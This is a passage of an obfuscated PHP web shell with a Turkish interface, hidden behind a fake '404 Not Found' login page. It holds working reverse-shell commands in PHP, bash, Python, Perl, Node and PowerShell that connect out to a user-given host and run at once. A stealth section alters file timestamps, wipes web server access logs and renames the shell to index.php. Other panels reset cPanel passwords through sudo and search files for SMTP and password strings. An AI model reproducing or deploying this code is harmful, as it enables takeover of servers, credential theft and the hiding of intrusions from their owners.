class="btn">🐘 PHP</button> <button type="submit" name="rev_protocol" value="bash" class="btn">🐚 Bash</button> <button type="submit" name="rev_protocol" value="python" class="btn">🐍 Python</button> <button type="submit" name="rev_protocol" value="perl" class="btn">📜 Perl</button> <button type="submit" name="rev_protocol" value="node" class="btn">🟢 Node</button> <?php if (isWindows()) { ?> <button type="submit" name="rev_protocol" value="powershell" class="btn">🪟 PowerShell</button> <?php } ?> </div> </form> <?php if (isset($_POST["\x72\x65\166\x5f\151\160"]) && isset($_POST["\162\x65\x76\137\x70\157\x72\x74"])) { ?> <div class="terminal-box mt-10"> <div class="term-body"> <div class="output success">🚀 Reverse Shell: <?php echo $_POST["\162\145\x76\x5f\151\x70"]; ?> :<?php echo $_POST["\x72\145\x76\x5f\160\x6f\162\x74"]; ?> </div> <?php $protocol = $_POST["\x72\x65\166\x5f\x70\x72\157\x74\x6f\143\157\x6c"] ?? "\160\x68\x70"; $cmds = array("\160\150\160" => "\x70\x68\160\40\55\x72\x20\x22\x24\163\157\143\153\x3d\146\x73\x6f\x63\x6b\x6f\160\145\x6e\50\47" . $_POST["\162\145\166\137\x69\x70"] . "\47\x2c" . $_POST["\x72\145\x76\x5f\160\x6f\x72\164"] . "\51\73\145\x78\x65\x63\x28\47\x2f\x62\x69\x6e\57\163\x68\40\55\x69\40\74\x26\x33\40\x3e\x26\x33\40\x32\76\x26\x33\47\51\x3b\x22", "\142\x61\163\x68" => "\142\x61\x73\x68\x20\55\151\x20\76\46\40\x2f\x64\x65\166\x2f\164\143\160\x2f" . $_POST["\x72\x65\x76\137\x69\160"] . "\57" . $_POST["\x72\x65\166\x5f\160\157\x72\x74"] . "\40\60\76\x26\x31", "\160\171\x74\x68\x6f\156" => "\160\x79\x74\x68\157\x6e\40\55\x63\x20\42\151\x6d\160\x6f\x72\x74\40\x73\x6f\x63\153\145\x74\x2c\163\x75\x62\x70\162\157\x63\x65\x73\x73\x2c\x6f\x73\73\163\75\163\157\143\x6b\145\164\56\x73\x6f\143\x6b\x65\164\x28\163\x6f\143\153\x65\x74\x2e\x41\106\137\x49\x4e\105\124\x2c\163\157\x63\x6b\x65\x74\x2e\x53\x4f\103\x4b\x5f\123\124\x52\x45\x41\x4d\x29\73\163\56\x63\157\156\156\x65\x63\164\50\50\x27" . $_POST["\162\x65\166\137\151\160"] . "\47\54" . $_POST["\x72\145\166\137\160\x6f\x72\x74"] . "\x29\51\73\x6f\163\56\144\x75\160\62\x28\163\x2e\x66\151\154\x65\156\x6f\50\51\54\60\x29\73\157\163\x2e\144\165\x70\x32\x28\x73\56\x66\151\x6c\145\156\157\x28\51\54\61\x29\x3b\157\163\x2e\x64\165\160\x32\x28\163\x2e\x66\151\154\145\x6e\x6f\x28\x29\x2c\62\51\73\163\x75\142\160\x72\x6f\x63\145\163\x73\56\x63\141\154\x6c\x28\x5b\x27\57\142\x69\156\57\x73\x68\47\54\47\x2d\151\47\x5d\x29\42", "\160\145\x72\x6c" => "\160\145\162\x6c\40\x2d\145\x20\42\165\x73\145\x20\x53\x6f\x63\153\145\164\x3b\x24\151\x3d\47" . $_POST["\x72\145\x76\137\151\x70"] . "\x27\73\44\x70\x3d" . $_POST["\162\x65\x76\137\x70\157\x72\164"] . "\x3b\163\157\x63\x6b\x65\x74\x28\x53\x2c\120\106\137\x49\116\x45\x54\x2c\x53\117\x43\x4b\x5f\123\x54\122\x45\101\x4d\54\x67\145\164\x70\x72\x6f\164\x6f\x62\x79\156\141\x6d\145\50\x27\x74\143\x70\47\51\x29\73\x69\146\50\143\x6f\156\x6e\145\x63\x74\50\123\x2c\163\157\x63\x6b\141\144\x64\162\x5f\x69\156\x28\x24\x70\54\151\156\145\164\137\141\164\x6f\x6e\50\44\151\51\51\x29\51\173\157\x70\145\x6e\50\x53\124\x44\111\116\54\x5c\x22\76\46\123\x5c\42\51\x3b\157\x70\x65\156\50\123\x54\104\117\x55\124\54\x5c\x22\x3e\x26\123\x5c\42\51\x3b\x6f\160\x65\x6e\50\x53\x54\x44\x45\122\122\54\x5c\x22\x3e\x26\x53\134\42\x29\73\x65\x78\145\143\x28\x5c\x22\57\x62\x69\156\57\x73\x68\40\x2d\x69\x5c\42\51\73\175\x22", "\156\x6f\x64\x65" => "\156\x6f\144\145\40\55\x65\x20\x22\162\145\x71\165\x69\x72\x65\x28\x27\156\x65\164\x27\x29\x2e\x63\157\x6e\x6e\145\143\x74\x28" . $_POST["\x72\x65\166\x5f\x70\x6f\162\164"] . "\54\x27" . $_POST["\x72\x65\x76\x5f\x69\160"] . "\47\54\146\x75\156\143\x74\x69\x6f\156\x28\x29\x7b\x72\x65\161\x75\x69\x72\145\x28\x27\143\150\151\154\x64\x5f\160\162\x6f\x63\145\163\163\x27\51\56\163\x70\x61\167\x6e\50\47\x2f\x62\151\156\57\163\x68\x27\x2c\x5b\47\55\x69\47\135\54\x7b\163\x74\x64\x69\x6f\72\x5b\164\150\x69\x73\54\x74\x68\x69\x73\54\164\x68\x69\163\135\175\x29\x3b\175\x29\73\x22", "\x70\157\x77\145\162\163\x68\145\x6c\x6c" => "\160\157\167\145\x72\163\x68\145\154\154\x20\55\x4e\x6f\120\40\x2d\x4e\157\156\111\40\x2d\x57\40\x48\151\144\x64\145\x6e\x20\x2d\105\170\x65\x63\x20\x42\171\160\x61\163\x73\x20\x2d\103\157\x6d\155\141\x6e\144\x20\42\44\x63\154\151\x65\x6e\164\40\x3d\40\116\x65\167\55\117\142\152\145\x63\164\x20\x53\x79\163\164\x65\155\56\x4e\145\x74\56\123\157\143\x6b\145\x74\163\x2e\124\x43\x50\x43\x6c\x69\x65\156\x74\50\x27" . $_POST["\162\145\x76\137\x69\160"] . "\47\x2c" . $_POST["\162\145\x76\137\160\x6f\x72\164"] . "\x29\73\44\x73\x74\162\x65\141\x6d\x20\75\40\x24\x63\x6c\x69\x65\156\164\x2e\x47\145\x74\x53\164\162\145\x61\x6d\50\51\73\x5b\x62\171\164\145\x5b\135\x5d\x24\142\171\x74\x65\x73\40\75\x20\60\56\56\x36\x35\x35\x33\x35\174\45\173\60\x7d\x3b\167\x68\x69\154\145\50\50\44\151\40\x3d\x20\44\x73\164\162\x65\x61\155\x2e\x52\145\141\144\x28\44\x62\171\x74\145\x73\54\40\60\54\x20\x24\x62\171\164\x65\x73\x2e\x4c\x65\156\x67\164\x68\51\x29\40\55\x6e\145\40\60\x29\x7b\x3b\x24\144\141\164\141\x20\x3d\40\50\x4e\145\x77\55\x4f\x62\x6a\x65\143\164\x20\55\x54\171\x70\145\116\141\155\x65\40\123\171\x73\164\145\x6d\x2e\124\x65\x78\164\x2e\101\123\103\x49\111\105\156\143\x6f\x64\x69\x6e\147\51\x2e\x47\x65\164\x53\x74\x72\151\156\147\50\44\142\171\x74\145\x73\54\x30\x2c\x20\44\151\51\73\x24\163\x65\x6e\144\142\141\143\153\40\75\x20\50\151\x65\170\40\44\x64\141\164\x61\40\x32\76\x26\x31\x20\x7c\40\117\x75\164\x2d\123\x74\x72\151\156\147\40\x29\x3b\44\163\x65\156\144\x62\x61\143\x6b\62\40\x3d\40\44\163\145\156\144\x62\x61\143\x6b\x20\53\x20\47\120\x53\40\47\40\53\40\x28\160\167\x64\51\x2e\120\x61\164\x68\x20\x2b\x20\x27\76\40\x27\x3b\44\163\x65\x6e\x64\x62\171\164\x65\40\75\x20\50\133\164\x65\170\x74\x2e\145\156\143\157\144\x69\156\147\135\x3a\x3a\101\x53\103\x49\x49\51\56\x47\145\164\102\171\x74\145\163\x28\44\163\x65\156\144\x62\x61\143\x6b\x32\x29\x3b\x24\163\x74\x72\145\141\x6d\56\x57\162\151\164\x65\x28\x24\163\145\156\x64\x62\x79\164\x65\54\60\54\x24\x73\145\x6e\144\142\171\164\145\x2e\114\x65\x6e\147\164\150\x29\73\x24\x73\164\162\x65\141\x6d\x2e\106\154\x75\163\x68\50\51\x7d\x3b\44\x63\154\x69\x65\x6e\x74\56\x43\x6c\x6f\x73\145\x28\x29\42"); $cmd = $cmds[$protocol] ?? $cmds["\160\150\160"]; echo "\74\144\x69\x76\x20\143\x6c\x61\163\x73\x3d\42\x6f\165\164\160\x75\x74\x22\76\360\x9f\x93\x8c\40" . $protocol . "\72\40" . $cmd . "\74\x2f\144\151\166\x3e"; echo "\x3c\144\x69\166\x20\x63\154\x61\163\x73\x3d\x22\157\165\x74\160\165\164\x22\x3e\xf0\x9f\222\241\x20\104\151\x6e\x6c\x65\72\40\x6e\143\40\55\154\x76\x6e\x70\x20" . $_POST["\x72\145\x76\x5f\x70\157\162\164"] . "\x3c\x2f\144\x69\166\76"; if (isWindows()) { pclose(popen("\163\x74\x61\x72\x74\40\x2f\102\x20" . $cmd, "\x72")); } else { exec($cmd . "\40\x3e\x20\57\144\x65\x76\57\x6e\x75\154\x6c\40\x32\x3e\46\61\x20\46"); } echo "\74\144\151\166\x20\143\x6c\x61\x73\x73\x3d\42\157\165\x74\x70\x75\x74\x20\x73\x75\x63\x63\x65\163\163\42\76\xe2\234\205\x20\xc3\x87\141\154\304\xb1\xc5\x9f\x74\xc4\xb1\x72\xc4\261\154\x64\304\xb1\41\x3c\x2f\x64\151\x76\x3e"; ?> </div> </div> <?php } ?> </div> <?php } goto bhF16; WGkUR: echo $action == "\157\160\x65\156\143\141\x72\164" ? "\x61\143\164\x69\x76\x65" : ''; goto WUBna; F5COx: ?> "><i class="fas fa-search"></i><span>Scanner</span></a> <a href="?action=exploit" class="<?php goto TLoGv; RgMIK: ?> "><i class="fas fa-code"></i><span>Editor</span></a> <a href="?action=tools" class="<?php goto ersF8; sFe5k: if (!isset($_SESSION["\x6c\x6f\x67\x69\x6e\137\x61\x74\x74\x65\155\x70\164\163"])) { $_SESSION["\x6c\157\147\x69\156\x5f\141\x74\x74\145\x6d\160\164\x73"] = 0; } goto U6S72; lKpkd: if ($action == "\163\x74\x65\141\154\164\150") { ?> <div style="display:grid;grid-template-columns:1fr 1fr;gap:10px;"> <div class="settings-group"> <h4 style="color:#b300ff;font-size:11px;"><i class="fas fa-clock"></i> Zaman Damgası</h4> <form method="POST"> <input type="text" name="st_file" placeholder="Dosya yolu" value="<?php echo __FILE__; ?> "> <input type="datetime-local" name="st_time"> <button type="submit" name="st_action" value="touch" class="btn btn-sm">Değiştir</button> </form> <?php if (isset($_POST["\163\x74\137\141\143\164\x69\x6f\156"]) && $_POST["\x73\x74\137\141\x63\x74\151\x6f\156"] == "\164\157\165\x63\150" && touch($_POST["\163\x74\x5f\x66\151\154\x65"], strtotime($_POST["\163\x74\x5f\164\x69\155\145"]))) { ?> <div class="output success">✅ Zaman damgası güncellendi.</div> <?php } ?> </div> <div class="settings-group"> <h4 style="color:#b300ff;font-size:11px;"><i class="fas fa-trash-alt"></i> Log Temizle</h4> <form method="POST"> <button type="submit" name="st_action" value="logclean" class="btn btn-danger btn-sm">🧹 Temizle</button> </form> <?php if (isset($_POST["\x73\164\x5f\141\143\x74\151\x6f\156"]) && $_POST["\x73\x74\137\x61\143\x74\151\157\x6e"] == "\154\157\x67\143\x6c\145\141\156") { ?> <?php if (isWindows()) { $logs = array("\x43\72\x5c\170\141\155\160\x70\134\141\x70\141\x63\x68\x65\134\154\x6f\147\163\x5c\141\x63\x63\145\x73\163\x2e\154\157\147", "\x43\72\134\x78\x61\155\x70\x70\x5c\141\x70\141\x63\x68\x65\134\154\157\x67\163\x5c\145\x72\x72\x6f\x72\x2e\x6c\x6f\147"); } else { $logs = array("\57\x76\141\x72\57\154\x6f\x67\x2f\141\160\141\143\x68\x65\62\x2f\141\143\x63\x65\x73\163\56\154\157\x67", "\x2f\x76\141\x72\57\x6c\157\x67\57\156\147\151\x6e\x78\x2f\x61\x63\143\x65\x73\163\56\154\x6f\x67"); } foreach ($logs as $log) { if (file_exists($log)) { file_put_contents($log, ''); echo "\74\144\x69\x76\x20\143\154\x61\163\163\x3d\42\157\165\164\x70\165\164\x20\163\x75\x63\143\x65\x73\163\42\76\342\234\x85\x20" . basename($log) . "\40\x74\x65\155\151\172\x6c\x65\156\x64\x69\x2e\x3c\x2f\x64\x69\166\x3e"; } } ?> <?php } ?> </div> <div class="settings-group"> <h4 style="color:#b300ff;font-size:11px;"><i class="fas fa-signature"></i> Dosya Adını Gizle</h4> <form method="POST"> <input type="text" name="st_newname" placeholder="Yeni ad" value="index.php"> <button type="submit" name="st_action" value="rename" class="btn btn-sm">Yeniden Adlandır</button> </form> <?php if (isset($_POST["\163\164\137\141\x63\164\151\x6f\156"]) && $_POST["\x73\x74\x5f\141\143\x74\x69\x6f\156"] == "\x72\x65\156\141\x6d\x65" && rename(__FILE__, dirname(__FILE__) . "\57" . $_POST["\163\164\137\156\145\167\156\141\x6d\145"])) { ?> <div class="output success">✅ Dosya yeniden adlandırıldı: <?php echo htmlspecialchars($_POST["\x73\164\137\156\x65\167\156\141\x6d\x65"]); ?> </div> <script>setTimeout(()=>{ location.href = '<?php echo $_POST["\163\164\x5f\x6e\x65\x77\x6e\141\155\145"]; ?> ?action=dashboard'; }, 1500);</script> <?php } ?> </div> <div class="settings-group"> <h4 style="color:#b300ff;font-size:11px;"><i class="fas fa-code"></i> PHP Info</h4> <form method="POST"> <button type="submit" name="st_action" value="phpinfo" class="btn btn-sm">📋 Göster</button> </form> <?php if (isset($_POST["\x73\164\137\141\x63\x74\151\157\x6e"]) && $_POST["\x73\164\137\141\143\164\151\x6f\156"] == "\x70\x68\160\x69\156\146\x6f") { ?> <div class="terminal-box mt-10"> <div class="term-body"> <?php ob_start(); phpinfo(); $info = ob_get_clean(); echo $info; ?> </div> </div> <?php } ?> </div> </div> <?php } goto C_8j4; Se1jC: if (isRoot()) { ?> <span class="root-badge root">👑 ROOT</span> <?php } else { ?> <span class="root-badge">⬆️ Yetki Yükselt</span> <?php } goto N5Fvl; s78I0: ?> <!-- ============================================================ --> <!-- ===== DATABASE - GELİŞMİŞ SQL YÖNETİCİ ===== --> <!-- ============================================================ --> <?php goto xG_dN; kYcRX: echo $action == "\146\x69\x72\145\167\x61\154\154" ? "\x61\x63\x74\151\166\x65" : ''; goto AYHd6; WamsC: echo $action == "\x6a\x75\x6d\160\x69\156\147" ? "\x61\x63\164\x69\166\x65" : ''; goto exMy0; sw0gq: ?> "><i class="fas fa-home"></i><span>Panel</span></a> <a href="?action=terminal" class="<?php goto nMIwM; FCCYA: ?> "><i class="fas fa-link"></i><span>Symlink</span></a> <a href="?action=cpanel" class="<?php goto lbOfP; MxyJa: ?> <!-- ============================================================ --> <!-- ===== EMAIL ===== --> <!-- ============================================================ --> <?php goto Z8Vj1; hF6VW: echo $action == "\x65\144\x69\164\157\162" ? "\x61\x63\164\x69\x76\145" : ''; goto RgMIK; xHtm2: echo getCurrentUser(); goto R1l9B; ft2aw: echo $action == "\x64\141\x74\x61\142\x61\x73\x65" ? "\x61\143\164\151\166\x65" : ''; goto LAHMd; DvxjG: ?> "><i class="fas fa-search"></i><span>Shell Tarama</span></a> <a href="?action=network" class="<?php goto JoH5R; ePAZO: date_default_timezone_set($config["\164\x69\155\145\172\157\x6e\145"]); goto BOEq0; Az0pX: ?> "><i class="fas fa-desktop"></i><span>RDP</span></a> <div class="group-label">CMS</div> <a href="?action=wpadmin" class="<?php goto af0kg; lfLoU: echo $action == "\x63\x68\155\x6f\x64" ? "\141\x63\164\x69\x76\x65" : ''; goto vl4dC; et6Z2: ?> "><i class="fas fa-terminal"></i><span>Terminal</span></a> <div class="group-label">Dosya</div> <a href="?action=files" class="<?php goto SH8vR; g3OxE: echo $action == "\x73\171\155\154\151\x6e\x6b" ? "\x61\143\x74\x69\166\x65" : ''; goto FCCYA; bnMcq: echo $action == "\145\155\x61\x69\154" ? "\x61\143\164\x69\x76\145" : ''; goto Q4_f0; Q3tWn: ?> "><i class="fas fa-network-wired"></i><span>Network</span></a> <a href="?action=cloudflare" class="<?php goto LXEL4; ersF8: echo $action == "\x74\x6f\157\x6c\x73" ? "\x61\143\164\x69\166\145" : ''; goto rLpi3; f4RYw: if ($action == "\143\x70\x61\x6e\x65\154") { ?> <div class="settings-group"> <h4 style="color:#b300ff;margin-bottom:8px;font-size:12px;"><i class="fas fa-server"></i> CPanel Şifre Sıfırlama</h4> <form method="POST"> <input type="text" name="cpanel_user" placeholder="Kullanıcı adı"> <input type="password" name="cpanel_pass" placeholder="Yeni şifre"> <button type="submit" name="cpanel_action" value="reset" class="btn btn-danger">🔄 Sıfırla</button> </form> <?php if (isset($_POST["\143\160\141\156\x65\x6c\137\x61\143\x74\151\157\x6e"]) && $_POST["\143\x70\x61\156\x65\x6c\137\141\x63\164\x69\x6f\x6e"] == "\x72\x65\x73\x65\x74") { $user = $_POST["\143\160\141\156\145\154\137\x75\x73\145\x72"]; $pass = $_POST["\143\160\x61\x6e\145\154\137\x70\x61\x73\x73"]; $cmd = isWindows() ? "\x65\143\150\157\40\47\x63\160\x61\156\145\x6c\x27\40\76\40\156\x75\154" : "\x73\165\144\157\40\57\x73\x63\162\x69\x70\x74\163\x2f\x63\150\160\x61\163\x73\40\x27{$user}\x27\x3a\x27{$pass}\47\40\62\76\x26\61"; $result = runCmd($cmd); echo "\x3c\144\151\x76\x20\x63\154\x61\163\163\x3d\x22\157\165\x74\160\x75\x74\x22\76" . htmlspecialchars($result) . "\74\57\x64\151\166\x3e"; } ?> </div> <?php } goto zRDir; alEvT: echo $action == "\163\x65\164\x74\x69\x6e\147\x73" ? "\x61\143\164\151\166\x65" : ''; goto OzF02; bhF16: ?> <!-- ============================================================ --> <!-- ===== STEALTH ===== --> <!-- ============================================================ --> <?php goto lKpkd; K7pv4: echo $action == "\x72\x64\x70" ? "\x61\x63\x74\151\x76\x65" : ''; goto Az0pX; IvFqO: echo $action == "\x63\x61\160\164\141\x69\156\144\x62" ? "\x61\143\164\151\x76\145" : ''; goto r5RGk; r0E1w: function showLoginPage() { ?> <!DOCTYPE html> <html> <head> <title>404 Not Found</title> <style> @import url('https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;700&display=swap'); * { margin:0; padding:0; box-sizing:border-box; } body { background: #0a0010; color: #c8d6e5; font-family: 'JetBrains Mono', monospace; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; overflow: hidden; } .container { text-align: center; position: relative; } .glitch { font-size: 100px; color: #b300ff; text-shadow: 0 0 30px #b300ff44, -5px -5px 0 #b300ff33, 5px 5px 0 #b300ff33, 0 0 60px #b300ff22; animation: glitch 3s infinite; } @keyframes glitch { 0% { transform: translate(0); } 20% { transform: translate(-2px, 2px); } 40% { transform: translate(2px, -2px); } 60% { transform: translate(-1px, 1px); } 80% { transform: translate(1px, -1px); } 100% { transform: translate(0); } } .sub { color: #5a1a7a; font-size: 14px; margin-top: 10px; } .hint { position: fixed; bottom: 30px; right: 40px; color: #3a0a5a; font-size: 20px; animation: pulse 2s infinite; cursor: pointer; } @keyframes pulse { 0%, 100% { opacity: 0.3; transform: scale(1); } 50% { opacity: 1; transform: scale(1.2); } } .login-panel { display: none; position: fixed; top: 50%; left: 50%; transform: translate(-50%, -50%); background: #0a0010; padding: 40px; border-radius: 20px; border: 2px solid #b300ff; box-shadow: 0 0 80px rgba(179,0,255,0.15); width: 340px; z-index: 999; animation: slideUp 0.4s ease; } @keyframes slideUp { from { opacity: 0; transform: translate(-50%, -40%); } to { opacity: 1; transform: translate(-50%, -50%); } } .login-panel h2 { color: #b300ff; margin-bottom: 25px; font-size: 22px; text-align: center; } .login-panel input { width: 100%; padding: 14px 16px; background: #0a0010; border: 1px solid #3a0a5a; border-radius: 12px; color: #e0e8f0; font-family: 'JetBrains Mono', monospace; font-size: 14px; margin-bottom: 15px; transition: 0.3s; outline: none; } .login-panel input:focus { border-color: #b300ff; box-shadow: 0 0 30px rgba(179,0,255,0.1); } .login-panel button { width: 100%; padding: 14px; background: #b300ff; border: none; border-radius: 12px; color: #0a0010; font-weight: 700; cursor: pointer; font-family: 'JetBrains Mono', monospace; font-size: 14px; transition: 0.3s; } .login-panel button:hover { background: #8f00cc; transform: scale(1.02); } .login-panel .close-hint { text-align: center; margin-top: 12px; font-size: 11px; color: #5a1a7a; } .login-panel .error-msg { color: #b300ff; font-size: 12px; text-align: center; margin-bottom: 12px; } @media (max-width: 480px) { .glitch { font-size: 60px; } .login-panel { width: 90%; padding: 30px; } } </style> </head> <body> <div class="container"> <div class="glitch">404</div> <div class="sub">Sayfa bulunamadı.</div> <div style="margin-top:20px; color:#3a0a5a; font-size:12px;">Güvenli bağlantı sağlandı</div> </div> <div class="hint" id="hintIndicator">→</div> <div class="login-panel" id="loginPanel"> <h2><i class="fas fa-lock"></i> Giriş</h2> <?php if ($_SESSION["\x6c\157\147\151\x6e\x5f\141\164\164\x65\155\160\x74\163"] > 0) { ?> <div class="error-msg">⚠ Yanlış şifre! (<?php echo $_SESSION["\154\x6f\147\x69\156\137\x61\x74\x74\x65\x6d\160\x74\x73"]; ?> /<?php echo $GLOBALS["\x63\x6f\156\x66\x69\147"]["\155\141\x78\x5f\154\x6f\x67\151\156\x5f\x61\164\x74\145\x6d\160\164\163"]; ?> )</div> <?php } ?> <form method="POST"> <input type="password" name="auth" id="authInput" placeholder="Şifreyi girin..." autofocus> <button type="submit">🚀 Giriş</button> </form> <div class="close-hint">ESC ile kapat</div> </div> <script> document.addEventListener('keydown', function(e) { if (e.key === 'ArrowRight') { e.preventDefault(); const panel = document.getElementById('loginPanel'); if (panel.style.display === 'none' || panel.style.display === '') { panel.style.display = 'block'; document.getElementById('authInput').focus(); } else { panel.style.display = 'none'; } } if (e.key === 'Escape') { document.getElementById('loginPanel').style.display = 'none'; } }); document.getElementById('hintIndicator').addEventListener('click', function() { const panel = document.getElementById('loginPanel'); panel.style.display = panel.style.display === 'none' ? 'block' : 'none'; if (panel.style.display === 'block') { document.getElementById('authInput').focus(); } }); document.addEventListener('DOMContentLoaded', function() { document.getElementById('loginPanel').style.display = 'none'; }); </script> </body> </html> <?php } goto MWpyq; Z5M1Z: if ($action == "\163\155\164\160") { ?> <div class="settings-group"> <h4 style="color:#b300ff;margin-bottom:8px;font-size:12px;"><i class="fas fa-envelope-open"></i> SMTP Grabber</h4> <form method="POST"> <input type="text" name="smtp_dir" placeholder="Aranacak dizin" value="<?php echo getcwd(); ?> "> <button type="submit" name="smtp_action" value="grab" class="btn">🔍 Ara</button> </form> <?php if (isset($_POST["\x73\155\164\160\137\x61\x63\x74\151\x6f\156"]) && $_POST["\163\x6d\x74\x70\137\141\143\x74\151\157\156"] == "\x67\162\x61\142") { $dir = $_POST["\x73\155\x74\x70\137\x64\151\x72"]; $patterns = array("\57\163\x6d\x74\x70\57\151", "\x2f\x6d\141\x69\x6c\57\x69", "\x2f\x65\155\x61\x69\x6c\x2f\151", "\57\160\141\163\163\x77\157\162\x64\x2f\x69", "\x2f\x70\141\163\163\57\x69"); $results = array(); $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir)); foreach ($files as $file) { if ($file->isFile() && in_array($file->getExtension(), array("\x70\x68\x70", "\151\156\143", "\151\156\151", "\143\157\156\x66", "\x74\170\x74"))) { $content = file_get_contents($file); foreach ($patterns as $p) { if (preg_match($p, $content)) { $results[] = $file->getPathname(); break; } } } } echo "\74\x64\x69\x76\40\143\x6c\x61\163\x73\75\42\x6f\165\x74\x70\x75\x74\x20\163\x75\x63\x63\145\x73\163\42\x3e\360\x9f\224\215\x20" . count($results) . "\x20\x70\157\164\141\x6e\x73\x69\x79\x65\x6c\x20\x64\x6f\163\171\x61\40\142\x75\154\165\156\x64\x75\72\74\57\x64\151\166\76"; foreach ($results as $r) { echo "\x3c\x64\x69\x76\x20\143\x6c\x61\x73\x73\x3d\42\157\x75\164\160\x75\x74\42\x3e\xf0\x9f\223\x84\x20" . htmlspecialchars($r) . "\x3c\x2f\x64\151\x76\x3e"; } } ?> </div> <?php } goto dxVQI; uziLo: echo ucfirst($action); goto Haqld; VV_Ld: echo $action == "\x63\x72\157\156" ? "\x61\x63\x74\151\x76\145" : ''; goto Wn1Ed; sE2ZD: if ($action == "\154\x6f\147\x6f\165\x74") { session_destroy(); ob_clean(); header("\114\157\x63\x61\x74\151\157\x6e\x3a\40" . $_SERVER["\120\x48\x50\x5f\x53\105\x4c\x46"]); die; } goto t4KuS; OZ0lg: $allowed = array("\x64\141\163\x68\x62\157\x61\x72\x64", "\x74\145\162\155\151\156\141\x6c", "\x66\x69\154\145\x73", "\x75\x70\154\x6f\x61\144", "\144\141\164\141\x62\x61\163\145", "\162\x65\x76\145\x72\163\x65", "\x73\x74\x65\141\x6c\x74\x68", "\145\x64\x69\164\157\162", "\x74\157\x6f\x6c\x73", "\142\141\x63\153\165\x70", "\x6e\x65\164\167\x6f\x72\x6b", "\x63\162\x6f\x6e", "\x65\x6d\x61\151\154", "\163\x63\141\x6e\x6e\145\x72", "\145\170\x70\x6c\x6f\151\x74", "\146\x69\x72\x65\x77\x61\154\154", "\x73\x65\x74\164\151\156\x67\x73", "\154\x6f\x67\157\x75\164", "\x70\x72\x69\166\x65\163\x63", "\143\x68\x6d\x6f\144", "\167\x70\x61\144\x6d\151\156", "\x6d\x61\163\163", "\152\x75\155\160\151\156\147", "\x61\x64\155\151\156\145\x72", "\163\x79\155\154\151\156\x6b", "\143\160\141\x6e\x65\x6c", "\163\x6d\x74\x70", "\143\154\x6f\165\144\146\154\x61\162\145", "\163\x68\x65\154\x6c\163\143\141\156", "\160\157\x72\164\x73\143\141\156", "\x7a\x6f\156\x65\x68", "\x64\x62\163\x63\x61\x6e", "\x72\x64\160", "\x6a\157\x6f\155\x6c\x61", "\157\x70\145\156\143\141\x72\x74", "\143\141\x70\x74\141\151\x6e\x64\x62"); goto w2ulN; dxVQI: ?> <!-- ============================================================ --> <!-- ===== CLOUDFLARE BYPASS ===== --> <!-- ============================================================ --> <?php goto Tf8Th; x_H8c: if ($action == "\x70\162\x69\x76\145\x73\143") { ?> <style> /* ===== VIP SARI + NEON MOR TEMA ===== */ .vip-mor { --vip-gold: #ffd700; --vip-gold-dark: #b8860b; --vip-glow: #ffd70044; --neon-purple: #b300ff; --neon-purple-dark: #8a2be2; --neon-glow: #b300ff33; --vip-dark: #0a000a; --vip-card: #1a001a; --vip-border: #ffd70033; --vip-text: #ffd700; --vip-success: #00ff88; --vip-danger: #ff0055; --vip-gradient: linear-gradient(135deg, #1a001a, #2a001a, #1a001a); } .vip-mor-card { background: linear-gradient(135deg, #0a000a, #1a001a, #0a000a); border: 1px solid #ffd70044; border-radius: 12px; padding: 15px; margin: 10px 0; box-shadow: 0 0 40px #ffd70011, inset 0 0 40px #b300ff11; transition: all 0.3s ease; position: relative; overflow: hidden; } .vip-mor-card::before { content: ''; position: absolute; top: -50%; left: -50%; width: 200%; height: 200%; background: radial-gradient(circle at center, #ffd70011, transparent 70%); animation: rotateGlow 20s linear infinite; pointer-events: none; } @keyframes rotateGlow { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } .vip-mor-card:hover { border-color: #ffd70088; box-shadow: 0 0 60px #ffd70022, 0 0 60px #b300ff22, inset 0 0 60px #b300ff11; transform: translateY(-3px); } .vip-mor-btn { background: linear-gradient(135deg, #b8860b, #ffd700, #b8860b); border: none; color: #000; font-weight: bold; padding: 8px 12px; border-radius: 8px; cursor: pointer; transition: all 0.3s ease; text-shadow: 0 0 10px #ffd70066; box-shadow: 0 0 20px #ffd70033; font-size: 10px; width: 100%; position: relative; overflow: hidden; } .vip-mor-btn::after { content: '✦'; position: absolute; right: 8px; top: 50%; transform: translateY(-50%); font-size: 12px; opacity: 0.5; animation: sparkle 2s ease-in-out infinite; } @keyframes sparkle { 0%, 100% { opacity: 0.3; transform: translateY(-50%) scale(1); } 50% { opacity: 1; transform: translateY(-50%) scale(1.3); } } .vip-mor-btn:hover { transform: scale(1.05); box-shadow: 0 0 40px #ffd70055, 0 0 40px #b300ff44; background: linear-gradient(135deg, #ffd700, #ffed4a, #ffd700); } .vip-mor-btn:active { transform: scale(0.95); } .vip-mor-btn-danger { background: linear-gradient(135deg, #8b0000, #ff0055, #8b0000); color: #fff; box-shadow: 0 0 20px #ff005533; } .vip-mor-btn-danger:hover { box-shadow: 0 0 40px #ff005566; background: linear-gradient(135deg, #ff0055, #ff3377, #ff0055); } .vip-mor-btn-warning { background: linear-gradient(135deg, #b8860b, #ffd700, #b8860b); color: #000; box-shadow: 0 0 20px #ffd70033; } .vip-mor-btn-warning:hover { box-shadow: 0 0 40px #ffd70066; background: linear-gradient(135deg, #ffd700, #ffed4a, #ffd700); } .vip-mor-btn-info { background: linear-gradient(135deg, #004a8b, #00aaff, #004a8b); color: #fff; box-shadow: 0 0 20px #00aaff33; } .vip-mor-btn-info:hover { box-shadow: 0 0 40px #00aaff66; background: linear-gradient(135deg, #00aaff, #44ccff, #00aaff); } .vip-mor-btn-purple { background: linear-gradient(135deg, #4a008b, #b300ff, #4a008b); color: #fff; box-shadow: 0 0 20px #b300ff33; } .vip-mor-btn-purple:hover { box-shadow: 0 0 40px #b300ff66; background: linear-gradient(135deg, #b300ff, #cc44ff, #b300ff); } .vip-mor-btn-success { background: linear-gradient(135deg, #008b45, #00ff88, #008b45); color: #000; box-shadow: 0 0 20px #00ff8833; } .vip-mor-btn-success:hover { box-shadow: 0 0 40px #00ff8866; background: linear-gradient(135deg, #00ff88, #44ffaa, #00ff88); } .vip-mor-btn-gold { background: linear-gradient(135deg, #b8860b, #ffd700, #ff8c00); color: #000; box-shadow: 0 0 30px #ffd70044; font-size: 11px; padding: 10px 12px; } .vip-mor-btn-gold:hover { box-shadow: 0 0 60px #ffd70066, 0 0 60px #b300ff44; background: linear-gradient(135deg, #ffd700, #ffed4a, #ff8c00); } .vip-mor-terminal { background: #05000a; border: 1px solid #ffd70033; 